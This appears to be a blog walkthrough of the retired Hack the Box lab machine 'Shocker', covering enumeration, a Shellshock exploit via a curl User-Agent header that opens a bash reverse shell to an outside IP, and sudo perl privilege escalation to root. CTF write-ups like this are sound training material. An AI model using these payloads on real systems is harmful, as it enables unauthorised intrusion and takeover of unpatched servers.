Capture the flag (CTF)

Hack the Box (HTB) machines walkthrough series — Shocker

Security Ninja
September 12, 2019 by
Security Ninja

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Shocker.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Shocker, is retired.

 

The walkthrough

Let’s start with this machine.

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Shocker machine IP is 10.10.10.56.

3. We will adopt the same methodology of performing penetration testing as we have used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.

4. As usual, let’s start with a nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]

<<nmap -sC -sV -oA Shocker 10.10.10.56>>

5. We got two ports, 80 and 2222, where 2222 was for SSH.

6. We enumerate port 80 and find just this picture. Since we’re completely stuck, let’s enumerate the directories.

7. The initial few dictionaries result in only index.html, which was bit surprising. While using dirb, we got a hit on cgi-bin as well, which was restricted. OK, this is encouraging.

<<dirb http://10.10.10.56>>

8. Let’s use this again with gobuster with the possible extensions .php, .sh and .html.

<<gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x .php,.sh,.html>>

9. There was an user.sh file detected. Let’s see what this file is doing.

<<curl -vvv http://10.10.10.56/cgi-bin/user.sh>>

10. The guess at this time was to try “shellshock” on this server. Below is a successful attempt.

<<curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.3/4488 0>&1' http://10.10.10.56:80/cgi-bin/user.sh>>

11. We got into user “shelly.” We can now directly read user.txt.

<<ls>>

<<cat user.txt>>

12. Let’s escalate privileges to root. The very first enumeration reveals that the user can run any command with Perl binary as root.

<<sudo -l>>

13. We’ll now use that to escalate the shell.

<<sudo perl -e ‘exec’ “/bin/sh”>>

14. We finish by reading the root.txt box.

<<id>>

<<cat /root/root.txt>>

And we’re done!

So, Shocker was one of the easiest boxes yet in HTB, but the initial entry into the system can cause someone to travel down some odd rabbit holes.

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

We will continue this series with more interesting HTB machines.